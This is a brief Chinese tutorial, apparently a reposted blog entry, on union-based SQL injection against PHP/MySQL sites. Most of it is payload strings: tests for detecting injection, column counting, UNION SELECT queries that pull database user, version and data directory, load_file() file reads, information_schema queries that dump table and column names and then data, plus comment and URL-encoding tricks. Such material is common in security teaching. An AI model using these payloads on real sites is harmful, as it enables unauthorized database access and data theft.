SQL注入(一)普通型注入

既然说了从头开始,先从注入开始吧,先来温习一下之前会的一些注入。

PHP注入

0x01:

判断是否存在注入:

'   报错      

' and 1=1   正确

' and 1=2   错误

0x01:

order by X  X表示整数,判断数据库共有多少个字段

' and 1=2 union select 1,2,3...  //列出所有字段,看页面上显示哪些字段,换成我么你想查询的数据

' and 1=2 union select 1,user(),3... //网页上显示2的地方换显示数据库用户用户名

这儿user()可换成:

                 database()    当前数据库

                 @@datadir   数据库地址

                  version()    数据库版本

                  load_file()    读取指定文件

                。。。。。

' and 1=2 union select 1,TABLE_NAME,3 from information_schema.tables where TABLE_SCHEMA=database() limit 0,1 //爆表名

' and 1=2 union select 1,COLUMN_NAME,3 from information_schema.columns where TABLE_NAME=table_name limit 0,1   //爆列名

' and 1=2 union select  1, column,3 from table  //爆数据

  注意事项:

注入中有时候需要注释部分语句,可以用

#  %23

+--+  //+表示链接,

空格可用%20

原文地址:https://www.cnblogs.com/iDerr/p/4513307.html